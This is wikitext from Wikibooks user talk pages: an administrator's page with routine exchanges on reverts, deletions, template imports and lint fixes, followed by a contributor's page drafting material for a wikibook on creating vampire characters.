font-size:110%; font-weight:bold;">[[File:Icon apps query.svg|20px|link=|alt=]] '''Getting help'''</div> <div class="NavContent" style="padding:0.4em 1em 0.3em 1em;"> * Read the [[Using Wikibooks]] book for a friendly introduction to the project, or our [[Help:Contents|help pages]] for more information. * You can get friendly help from the community in the [[WB:HELP|user assistance room]] or our [[irc:wikibooks|IRC channel]]. * Upload freely licensed files to [[commons:Wikimedia Commons|Wikimedia Commons]]. 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Use the ''move'' tab (is available once your account is 4 days old - until then, ask for [[WB:HELP|help]]). * To request a page be deleted, add {{tlx|delete|''your reason''}} to the top of the page. * Was a page you made deleted? Please read the [[WB:DP|deletion policy]], and check the [[Special:Log/delete|deletion log]] to find out why. Also check the [[WB:RFD|RFD]] archives if applicable. You can request undeletion at [[WB:RFU]], or ask the administrator who deleted the page. </div> </div> <div class="collapsible selected" style="margin:0.2em; border:1px solid #15304f; background-color:#f4eed7; text-align:left;"> <div class="title" style="border-bottom:1px solid #15304f; background-color:#89b5e7; padding:0.2em 0.5em; font-size:110%; font-weight:bold;">[[File:Transmission icon.png|20px|link=|alt=]] '''Goodies, tips and tricks'''</div> <div class="NavContent" style="padding:0.4em 1em 0.3em 1em;"> * Please fill in [[WB:ES|the edit summary]] and [[WB:PREVIEW|preview]] your edits before saving. * Sign your name on [[WB:TALK|discussion pages]] by typing &#126;&#126;&#126;&#126; * User scripts can make many tasks easier. Look at the ''Gadgets'' tab of [[Special:Preferences|''my preferences'']]; check off the boxes for the scripts you want, and hit ''save''! </div> </div> </div> <div style="clear:both;"> </div> Thanks for your contributions --[[User:Mrjulesd|<span style="color:orange;">Jules</span>]]&nbsp;[[User talk:Mrjulesd|(Mrjulesd)]] 14:38, 8 June 2021 (UTC) :Thank you! My time here at Wikibooks hasn't been long here, but since I know [[User:Leaderboard]] well on other WMF projects, including meta and wikivoyage, so I may not be new new to Wikibooks. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 09:10, 9 June 2021 (UTC) ::Thanks for checking my book! Cheers --[[User:Mrjulesd|<span style="color:orange;">Jules</span>]]&nbsp;[[User talk:Mrjulesd|(Mrjulesd)]] 20:38, 9 June 2021 (UTC) == Orthography == Dear SHB2000, why did you revert my edits? I have only changed w to ƿynn, w the way we know it was never a part of Old English alphabet. Ƿynn was. It is historically right to use ƿynn in Old English sentences, despite this well known tendency of using w. Could it please be written with ƿynn? [[User:Birdofadozentides|Birdofadozentides]] ([[User talk:Birdofadozentides|discuss]] • [[Special:Contributions/Birdofadozentides|contribs]]) 15:40, 28 July 2021 (UTC) I see you reverted your edits, thank you. [[User:Birdofadozentides|Birdofadozentides]] ([[User talk:Birdofadozentides|discuss]] • [[Special:Contributions/Birdofadozentides|contribs]]) 16:12, 28 July 2021 (UTC) I have only now noticed that you reverted your edit almost immediately after making it. There was never a reason to add this topic, I am so sorry, I didn't mean to bother you like this, I should've noticed it much earlier. I guess this conversation should be deleted to not occupy your talk page, but if feels like it would be worse if I deleted it myself now. Sorry about this all again. [[User:Birdofadozentides|Birdofadozentides]] ([[User talk:Birdofadozentides|discuss]] • [[Special:Contributions/Birdofadozentides|contribs]]) 16:56, 28 July 2021 (UTC) :Hi there, sorry about that. It was a fingerslip rollback. Sorry :( But anyway, welcome to Wikibooks. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 21:35, 28 July 2021 (UTC) == Question == Why did you revert {{diff|3942934|3932199|these two edits}}? [[Special:Contributions/176.122.109.237|176.122.109.237]] ([[User talk:176.122.109.237|discuss]]) 12:50, 11 August 2021 (UTC) :Because I just rejected the revision because it looked suspicious to me. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 12:51, 11 August 2021 (UTC) ::@[[User:SHB2000|SHB2000]] Sources can found in english [[wikipedia:Proto-Turkic_language|Proto-Turkic]] page, wikipedia. We did change pronunciations depends on english wiki. If you can I will ask you to confirm after checking the sources. While doing this, know that the previous source in pronunciation was my ideas. Actual pronunciation should be as stated there. Thanks in advance. [[User talk:BurakD53|talk]] [[User:BurakD53|BurakD53]] ([[User talk:BurakD53|discuss]] • [[Special:Contributions/BurakD53|contribs]]) 09:51, 19 August 2021 (UTC) :::Oh okay. Makes sense. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 10:17, 19 August 2021 (UTC) == "added template" == FYI, [[Template:Typo help inline]] does not exist here (yet?). [[User:1234qwer1234qwer4|𝟙𝟤𝟯𝟺𝐪𝑤𝒆𝓇𝟷𝟮𝟥𝟜𝓺𝔴𝕖𝖗𝟰]] ([[User talk:1234qwer1234qwer4|𝗍𝗮𝘭𝙠]]) 22:31, 22 September 2022 (UTC) :{{re|1234qwer1234qwer4}} Oh didn't realise that – thx for alerting me to this. I'll try to not use the "check template" function. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 22:34, 22 September 2022 (UTC) :: Right now the template has over 200 transclusions. [[User:1234qwer1234qwer4|𝟙𝟤𝟯𝟺𝐪𝑤𝒆𝓇𝟷𝟮𝟥𝟜𝓺𝔴𝕖𝖗𝟰]] ([[User talk:1234qwer1234qwer4|𝗍𝗮𝘭𝙠]]) 22:35, 22 September 2022 (UTC) :::Darn, I'll have to fix those. I'll remove those by 2022-09-25 18:00 UTC+10. {{u|Uziel302}}, by any chance, can you configure the tool to add a note on the talk page instead (somewhat like how the typo tool is used on en.voy)? [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 22:39, 22 September 2022 (UTC) ::::[[User:SHB2000|SHB2000]], [[User:1234qwer1234qwer4|𝟙𝟤𝟯𝟺𝐪𝑤𝒆𝓇𝟷𝟮𝟥𝟜𝓺𝔴𝕖𝖗𝟰]], I simply copied the template from enwiki. [[User:Uziel302|Uziel302]] ([[User talk:Uziel302|discuss]] • [[Special:Contributions/Uziel302|contribs]]) 16:11, 23 September 2022 (UTC) :::::Thank you! Now I don't have to do the arduous process of removing all the 185 transclusions :-) [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 08:25, 24 September 2022 (UTC) == "A mother always thinks that their child is beautiful." == I didn't understand your revert [https://en.wikibooks.org/w/index.php?title=Wikijunior:Languages/Arabic&curid=69994&diff=4192062&oldid=4192054]. No matter how liberal anyone is, ''her'' is always the correct term to use when describing a mother. --[[User:Xania|Xania]] [[Image:Flag_of_Estonia.svg|15px]] [[Image:Flag_of_Ukraine.svg|15px]] [[User talk:Xania|^talk]] 01:13, 7 October 2022 (UTC) :I realise that my edit summary in [[Special:Diff/4192062]] wasn't the clearest of all, but there are some mothers who favour gender-neutral pronouns. That is a minority, though, so I'm not going to contest that. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 02:06, 7 October 2022 (UTC) == You are invited to join the conversation ... == [[Wikibooks:Reading room/Assistance#How do I improve my wikibook, or is it impossible to improve it?]] -- [[User:Vinyasi|Vinyasi]] ([[User talk:Vinyasi|discuss]] • [[Special:Contributions/Vinyasi|contribs]]) 13:48, 24 October 2022 (UTC) <blockquote>''Deletion is not inevitable. I don't see a problem with the book but maybe the person who tagged it for deletion can share their thoughts.''--[[User:Xania|Xania]] [[File:Flag_of_Estonia.svg|15x15px]] [[File:Flag_of_Ukraine.svg|15x15px]] [[User talk:Xania|^talk]] 04:29, 24 October 2022 (UTC)</blockquote>[[User:Vinyasi|Vinyasi]] ([[User talk:Vinyasi|discuss]] • [[Special:Contributions/Vinyasi|contribs]]) 13:48, 24 October 2022 (UTC) == WP:DENY == Per [[w:en:WP:DENY]], I recommend you do not warn LTAs. It will make LTAs less targeted on pages. [[User:Xeverything11|Xeverything11]] ([[User talk:Xeverything11|discuss]] • [[Special:Contributions/Xeverything11|contribs]]) 08:21, 28 December 2022 (UTC) :Please tell me when did I warn an LTA and I'll be convinced. I always follow this concept ([[voy:WV:DENY|something similar]], actually) outside enwiki. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 08:23, 28 December 2022 (UTC) ::and if you're referring to [[Special:Contributions/94.7.201.95|94.7.201.95]], that's not an LTA. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 08:24, 28 December 2022 (UTC) ::Sorry I got confused on IPs with LTAs. [[User:Xeverything11|Xeverything11]] ([[User talk:Xeverything11|discuss]] • [[Special:Contributions/Xeverything11|contribs]]) 08:26, 28 December 2022 (UTC) == Happy New Year! == Thank you for your New Years wishes! I hope you have a great new year :) —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 16:59, 1 January 2023 (UTC) :{{re|Kittycataclysm}} I wish the same to you too :-). [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 22:36, 1 January 2023 (UTC) == Hello == hello,how are you,You can help in writeing my books,I'm need a user for helping me.if can in my talk page,write comment. I will be Happy if you help me. [[User:Germany Poul Ah|Germany Poul Ah]] ([[User talk:Germany Poul Ah|discuss]] • [[Special:Contributions/Germany Poul Ah|contribs]]) 10:24, 15 July 2023 (UTC) :Hi, {{u|Germany Poul Ah}}, I don't get involved in content creation here. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 14:29, 15 July 2023 (UTC) ::So you are saying that you are not creating content in the wiki book and you are busy somewhere else? [[User:Germany Poul Ah|Germany Poul Ah]] ([[User talk:Germany Poul Ah|discuss]] • [[Special:Contributions/Germany Poul Ah|contribs]]) 16:26, 15 July 2023 (UTC) :::No, it's just not my forte. I tend to get involved in the more administrative side of Wikibooks. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 00:43, 16 July 2023 (UTC) ::::umm, so me, where do I find people user who like to write? I have to write three books, and the books require a lot of content. [[User:Germany Poul Ah|Germany Poul Ah]] ([[User talk:Germany Poul Ah|discuss]] • [[Special:Contributions/Germany Poul Ah|contribs]]) 04:43, 16 July 2023 (UTC) :::::Either you write it yourself or you don't. Other people cannot read your minds on what you're envisioning. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 04:46, 16 July 2023 (UTC) == Hi == Hello @[[User:SHB2000|SHB2000]], can you delete the pages to be deleted? {{smiley}} [[User:Lionel Cristiano|Lionel Cristiano]] ([[User talk:Lionel Cristiano|discuss]] • [[Special:Contributions/Lionel Cristiano|contribs]]) 15:14, 29 March 2024 (UTC) :Hi, I'll slowly take care of it when I get back home. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 20:48, 29 March 2024 (UTC) ::Yeah, I don't have the energy to handle that many today after driving 358 km. Do feel free to remind me tomorrow, though. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 11:29, 30 March 2024 (UTC) :::No problem, have a good rest. [[User:Lionel Cristiano|Lionel Cristiano]] ([[User talk:Lionel Cristiano|discuss]] • [[Special:Contributions/Lionel Cristiano|contribs]]) 11:31, 30 March 2024 (UTC) ::::Cheers, mate. Appreciate the kind sentiment :-). --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 11:59, 30 March 2024 (UTC) ::::Okay, I've got the number down from ~120 to 79. That's initial progress – for now. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 07:53, 1 April 2024 (UTC) :::::@[[User:Kittycataclysm|Kittycataclysm]] I took a look at the deletion requests, and it seems like you've flagged almost all of them. Looking further, I don't see many of them as an obvious delete, and think that they'd be better suited for [[WB:RFD]]. Can you clarify on your intention? Looks like I might be missing something. [[User:Leaderboard|Leaderboard]] ([[User talk:Leaderboard|discuss]] • [[Special:Contributions/Leaderboard|contribs]]) 08:35, 1 April 2024 (UTC) ::::::Yeah, so far I've only deleted some of the more obvious ones. I don't have the energy left to look into the more complex ones. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 08:38, 1 April 2024 (UTC) :::::::@[[User:SHB2000|SHB2000]] @[[User:Leaderboard|Leaderboard]] Sorry to all for the work/confusion! I've been going through the entire project to try and clean up and make sure we don't have old book dregs cluttering up the system. I've been flagging things with either query or delete, and I think queried pages end up in the candidates for speedy deletion after a certain time. I've basically been following the meaningful content guideline when flagging things for speedy deletion—anything that I saw as abandoned and having no/low meaningful content, I flagged. I haven't wanted to delete so many things outright myself, which is why I've been flagging to get more eyes. If things would be more appropriate for RFD, I can transfer them there. Cheers! —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 12:09, 1 April 2024 (UTC) ::::::::{{re|Kittycataclysm}} Makes sense, but normally we'd use query for a ''new'' book. The problem here is that you've queried a book that's a year old, and the OP has no clue that it's to be deleted - the RfD process doesn't have this issue. That is, I do think the OP should be made aware in some way. [[User:Leaderboard|Leaderboard]] ([[User talk:Leaderboard|discuss]] • [[Special:Contributions/Leaderboard|contribs]]) 12:34, 1 April 2024 (UTC) :::::::::@[[User:Leaderboard|Leaderboard]] Ah, gotcha—thanks for letting me know! I can go back and remove the query flags and nominate at RFD etc as appropriate. I'll leave the flags for speedy deletions that make sense. Cheers —[[User:Kittycataclysm|Kittycataclysm]] ([[User talk:Kittycataclysm|discuss]] • [[Special:Contributions/Kittycataclysm|contribs]]) 18:27, 1 April 2024 (UTC) == [[Jumarkese]] == I just want to ask, why you deleted my page "Jumarkese" on Wikibooks? And how I can revive my page? [[User:Jumark27|Jumark27]] ([[User talk:Jumark27|discuss]] • [[Special:Contributions/Jumark27|contribs]]) 11:03, 17 April 2024 (UTC) :{{re|Jumark27}} It was deleted per community consensus on [[WB:RFD]]. If you want it to be undeleted, list Jumarkese on [[Wikibooks:Requests for deletion#Undeletion]]. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 11:37, 17 April 2024 (UTC) == Restore a book == Hi, Could you please restore the book October 7th Massacre? It isn’t abandoned content. Thanks in advance, -[[User:D1n05aur5 4ever|D1n05aur5 4ever]] ([[User talk:D1n05aur5 4ever|discuss]] • [[Special:Contributions/D1n05aur5 4ever|contribs]]) 16:08, 13 May 2024 (UTC) :When I deleted it, it did fit the criteria. But if you do want to continue working on it, I've undeleted [[October 7th Massacre]] for you. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 22:00, 13 May 2024 (UTC) == Not happy.. == Some of my delinting efforts didn't apparrently go to plan, so I did a fairly extensive manual revert, with a view to working through the edits again, reviewing them carefully, and skipping any that looked wrong. However, I'm seemingly incapable of doing a revert and review as well ( as most of my recent 'thrashing' edits back and forth on some pages will show. So.. I'm unfortunately needing an administrator to sort out the chaos, and potentially block me for 'disruptive editing' at the same time.. For context :- https://en.wikibooks.org/wiki/Special:Contributions/ShakespeareFan00 https://en.wikibooks.org/wiki/Wikibooks:Reading_room/Technical_Assistance#c-Boris1951zz-20240604221500-Boris1951zz-20240604205000 https://en.wikibooks.org/wiki/User_talk:Mjchael#c-Mjchael-20240605071900-ShakespeareFan00-20240605071000 I'm not happy, other contributors probably aren't happy, as an admin you certainly won't be, and I am certainly considering leaving Wikibooks once current concerns are resolved. [[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 17:11, 5 June 2024 (UTC) :{{re|ShakespeareFan00}} I'm sorry you had to experience that. It'll be sad to lose you given how much delinting work you've done. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 21:25, 5 June 2024 (UTC) :Nothing is set in stone. I would however appreciate it you could review the repairs I attempted in non-content spaces, I can manually reinstate repairs in content namespaces, but I'd only feel happy at present if any repair reinstatements in non-content areas such as User: and User talk: were done so by administrators, so as to be sure my delints were actually stable long-term. I appreciate you may be busy with other tasks. Of course if you have a way to do 'undo' mass rollbacks using power-tools, I don't have access to, feel free to use them, as you clearly appreciated my efforts. I still have confidence in the repairs, but had reverted as they'd sometimes been considered contentious. I'd already started to do some reinstatments in content namespaces manually. [[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 22:09, 5 June 2024 (UTC) ::[[:Category:Protected edit requests]] doesn't have any lint-related requests, though? (I left that one request since I'm not exactly sure what needs to be done). [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 01:49, 6 June 2024 (UTC) :::It was most of my recent delinting effort that I reverted and was very slowly reviewing and reinstating. Some of the delints were on non-content namespace pages. As far as I know I hadn't made many 'protected edit requests' as the pages I was delinting did not have protection enabled. By non content pages I means things like User:, User Talk:, Wibooks:, and Wikibooks talk; namespace pages. Talk: pages I can slowly reinstate repairs and signature fixes manually, Just very slowly.. :::If there was a way for administrators to undo a batch of rollbacks though...that would speed things up considerably.. :::[[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 05:49, 6 June 2024 (UTC) ::::Yeah, I'm not sure how to selectively batch rollback, unfortunately. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 06:26, 6 June 2024 (UTC) == Template import(s) potentially needed... == The following user page is seemingly relying on a template family that isn't present on Wikibooks currently.. The page : [[User:Wd930/Nuclides]] The required template (possibly with dependencies): [[w:Template:Isotones]] The template is used to assist in the construction of nuclide tables (which may be useful for Physics content here at Wikibooks.) I've converted the page to display it's wikitext source until the supporting templates can be imported. I don't have import rights. I hope that the approach of converting to source was a 'good faith' one, albiet prgamatic. [[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 13:27, 6 June 2024 (UTC) :I'm a bit reluctant to use the import tool, given my lack of experience with it. {{ping|Leaderboard}}, are you able to take this request? --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 22:21, 6 June 2024 (UTC) ::{{re|ShakespeareFan00}} Done - but let me know if there are more templates to import. [[User:Leaderboard|Leaderboard]] ([[User talk:Leaderboard|discuss]] • [[Special:Contributions/Leaderboard|contribs]]) 07:47, 7 June 2024 (UTC) :::Thanks for handling this, Leaderboard! --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 10:28, 7 June 2024 (UTC) :::[[w:Template:Iso/B/text]] appears to also be needed. [[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 10:33, 7 June 2024 (UTC) ::::{{re|ShakespeareFan00}} {{done}} [[User:Leaderboard|Leaderboard]] ([[User talk:Leaderboard|discuss]] • [[Special:Contributions/Leaderboard|contribs]]) 12:39, 7 June 2024 (UTC) == [[:Template:Effective protection level]] == This is Lua code and should be a Module, or the content model changed so the Linter ignores it.? [[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 12:40, 8 June 2024 (UTC) :I'm afraid my knowledge of MediaWiki isn't sufficient to answer this question. [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 12:42, 8 June 2024 (UTC) == Lints.. == https://en.wikibooks.org/wiki/Special:LintErrors/missing-end-tag?wpNamespaceRestrictions=1%0D%0A2%0D%0A5%0D%0A6%0D%0A7%0D%0A8%0D%0A9%0D%0A11%0D%0A12%0D%0A13%0D%0A14%0D%0A102%0D%0A15%0D%0A103%0D%0A108%0D%0A109%0D%0A110%0D%0A111%0D%0A112%0D%0A113%0D%0A710%0D%0A711%0D%0A829%0D%0A828%0D%0A4&titlecategorysearch=&exactmatch=1&tag=div&template=all I was reaching my level of confidence about being able to delint, Any chance you could take a look at these ? [[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 12:20, 9 June 2024 (UTC) :I'd rather leave userpages alone. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 12:24, 9 June 2024 (UTC) ::Then as far as I can tell other than bold/italic and stray paragraphs in Main namespace Wikibooks is delinited. [[User:ShakespeareFan00|ShakespeareFan00]] ([[User talk:ShakespeareFan00|discuss]] • [[Special:Contributions/ShakespeareFan00|contribs]]) 12:27, 9 June 2024 (UTC) :::Nice! Your work is truly appreciated! [[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 13:28, 9 June 2024 (UTC) == Seeking Consideration for a False Positive Report == :''copied from [[Special:AbuseLog/295640]]'' Hi there, I'm seeking for a [[Wikibooks:Edit filter/False positives#TheMonkeyEatsBananas|filtered edit to be considered for an override]]. To explain my intentions, I'm making a textbook that explains introductory real-world classical mechanics through using materials from Bonk.io, a multiplayer physics video game. Because Bonk.io freely licenses user-generated content, physical situations can be easily be modeled, broken down, and explained with photos and videos of the game. Although this textbook may be non-conventional, I feel that it has the opportunity to explain concepts in an interesting and engaging way. To note, my edit was filtered because I was transferring [https://bonkio.fandom.com/wiki/Physics,_Explained_Through_Bonk.io content that I wrote on the Bonk.io Wiki], a fan-made wikia about the video game to here. My intentions are to continue with the project on Wikibooks such that the content is available to a more general audience and is in a community with more similar content. Thank you for your consideration. [[User:TheMonkeyEatsBananas|TheMonkeyEatsBananas]] ([[User talk:TheMonkeyEatsBananas|talk]]) 06:07, July 6, 2024 (UTC) :For the record, I've responded at [[Wikibooks:Edit filter/False positives#TheMonkeyEatsBananas 2]] just to keep things in one spot. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 07:50, 6 July 2024 (UTC) == Undeletion request == Please undelete [[User talk:Sandbox for user warnings]] and [[User:Sandbox for user warnings]], as they are designed to be, as their names suggest, sandboxes for user warnings. They are essential for the process of developing counter-vandalism tools, since [[Special:History/User talk:JJPMaster|this]] gets old after a while. [[User:JJPMaster|JJP]]_{[[User talk:JJPMaster|Mas]]_{[[Special:Contributions/JJPMaster|ter]]}} ([[wikt:she|she]]/[[wikt:they|they]]) 03:59, 26 December 2024 (UTC) :{{done}} as requested. --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 04:03, 26 December 2024 (UTC) == Please undelete the page I created on wikivoyage == I am not RichardHornsby because anyone can have NSW towns as interest and useful contributions so please undelete the page I created. [[Special:Contributions/67.220.71.29|67.220.71.29]] ([[User talk:67.220.71.29|discuss]]) 07:40, 7 January 2025 (UTC) :Can you explain why it exactly aligned with RichardHornsby's edits, then? --[[User:SHB2000|SHB2000]] ([[User talk:SHB2000|discuss]] • [[Special:Contributions/SHB2000|contribs]]) 07:41, 7 January 2025 (UTC) oyos8f39tkeyvciqe61uphgckdtxu2d 3 447393 4670669 4665360 2026-09-17T14:18:35Z Kittycataclysm 3371989 Restoring revision 4665296 by [[Special:Contributions/3MMPEYTON|3MMPEYTON]]: Violation of [[WB:HOST]]/[[WB:BLOG]] 4670669 wikitext text/x-wiki == Zombie by Margaret Atwood == '''Zombie''' is a poem by the world famous poet Margaret Atwood. Her poem can be found in her book <u>'''Dearly'''</u>, a collection of her new poems. I hope to post a critical essay on 'Zombie' by Margaret Atwood, as a example of critical analysis in Literature. I am certain that I can fairly reprint a few lines from the poem, yet I'm not sure if I can post the entire poem. Any suggestions? Thanks~~ [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 18:04, 25 June 2022 (UTC) <br> There you have it: zombie. <br> Didn't you always suspect? <br> "Poetry is the past <br> that breaks out in our hearts" <br> like a virus, like an infection. <br> <br> The quote within the poem: "Poetry is the past that breaks out in our hearts..." is taken from the poet Rilke. <br> ==NEW EDITS!== NEW TOPIC: [ I left these paragraphs under CREATE VAMPIRES / History and Folklore ] History, meaning inquiry, or knowledge acquired from the past by investigation, may stem from Greek historia, according to Wikipedia. https://en.wikipedia.org/wiki/Portal:History History is related to folklore, yet is essentially different. Folklore are stories about a particular culture, yet Folklore, and similar legends, are told from a subjective perspective, and are not validated by external sources. Folklore and legends are classified as cultural heritage. History is not myth, mainly for reasons that involve telling a story about events that have happened in the past, and then gathering supporting evidence used to validate one's history. The study of History is a major discipline in academic fields. The nature of the vampire shifted from folklore stories, that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings. It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging (centuries later) from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. Imaginative young readers today, could greatly benefit from Creative Writing classes offered in many Public High Schools. Creative writing classes are controversial classes in academia, yet in general, helpful to students in public schools. Creative writing programs are developing. In many public schools, creative writing classes are related to Language classes, and Art classes. Creative writing is not a discipline in academic fields. Create Vampire is a free wikibook intended as a guide, and as a non-fictional resource for people fascinated by vampires and similar monsters! TIP: Before creating a vampire character, you could ask yourself if you want your vampire to reflect stories based in Folklore, gathered from events that happened to actual people, or you may prefer to create a vampire from your imagination. Perhaps a imaginary creation who possesses non-human traits? I edited this major paragraph Create Vampires / History and Folklore / Create Vampires?: <BR>CREATE VAMPIRES? In a world where people desire to make a lot of money, in the shortest amount of time. In a world where bank robbery is illegal, yet grave-robbery is not...? In a world populated by individuals who seemed ruled by greed, vampires and other monsters are sometimes spoken into some tangible, often frightening existence. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:24, 13 August 2022 (UTC) If we exist in a world where characters could be spoken into existence, and allowed to linger in unusual fields bound and un-bound... If characters could linger, losing human characteristics and form, linger like ghost populating flat white spaces, if characters could attain atypical motion, yet exist like zombies without the ability to reason, or exist like demons without kindness, or exist like vampires, with constant hunger, sharing kindness with the hungry ghost who linger with desires to be fed, if such empty planes were populated by hungry, unreasoning, lingering atypical creations, mere works of the imagination, would their monster's tale be worthy of note? I hope to add this paragraph [somewhere after "The nature of the vampire shifted from folklore stories..."] The nature of the vampire shifted from folklore stories, that often contained warnings, to mutated stories about pale monsters and occult-ish blood lettings. It is as if the horrific stories about the tragic events that happened to some people, horror stories that were traditionally passed orally from person to person, started to pass culturally from one region to another region, finally emerging (centuries later) from the author's imagination in tangible, written form, vastly distorted, yet eerily relevant, with the mysterious ability to capture the imagination of young readers. <BR>Thanks. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:24, 13 August 2022 (UTC) == I will miss Pi zero. == Although this is a personal response, in no way related to "Create Vampires," I have recently learned of Wikibooks' loss. Pi zero was a great guide, and I will miss his guidance when I am loss on Wikibooks. He was a special person online. Now I wonder who will remind me to avoid ORIGINAL RESEARCH? LOL. [[User:3MMPEYTON|3MMPEYTON]] ([[User talk:3MMPEYTON|discuss]] • [[Special:Contributions/3MMPEYTON|contribs]]) 15:54, 15 August 2022 (UTC) == Why Create Vampires? == I added 5 new paragraphs to a new page: Why Create Vampires? <br> Contributions from Wikibookians interested in these subjects, especially vampires, are welcomed! <br> <br> [new section] What would happen if you woke-up one day with a horrible craving for blood? What if you woke up, then slowly realized that you were invisible, would you get dressed out of habit? What if you woke-up one day both hungry and invisible? What would you do? These are questions writers may consider when approaching fictional narratives. Stories about ghosts, angels, zombies and vampires are popular with modern readers, yet why do people write about vampires? Should you? Perhaps writing creatively about a fascinating subject is a bit of a dream. In order to first figure out what to write, some people may choose to gather together with other writing students to consider and experiment with ideas and techniques of use to other Writers. Classes that encourage creative writing, may encourage exploration of fascinating subjects, such as vampires. Exploration of unusual subjects can be rewarding to the creative spirit! Creative writing is a self-developmental process involving your creativity, using established techniques of the Writer’s craft, shaped by your level of honesty. In creative writing classes, your story is not just your creative expression, each story you take time to write is similar to a window allowing people to share in the communication process. You don’t just share common norms about spelling, grammar, or idiomatic expressions used by normal people, your story can share information about how a group of people reacted to life-altering events, meaning your stories can in a general sense, reflect the society and times you observe and write about. Because every writer is advised to “write what you know,” you may willingly look for safe ways to write what you know, creatively, in a non-factual manner that may not share factual information, yet will express your emotions, or will reflect the feelings of everyone. Creative writing is about telling a story, in a expressive, original manner. Techniques like tone, meaning how to express the right mood, emotional intensity, or level of humor, meaning how we tell the story using the right tone to a reader who is unable to hear you, or hear the people your story will reflect, may become easier after we have developed better writing skills. Creative writing is a subject about developing better writing skills, and allowing honest expression, often in non-factual, creative ways. <br> <br> Writers who write about the vampires from their 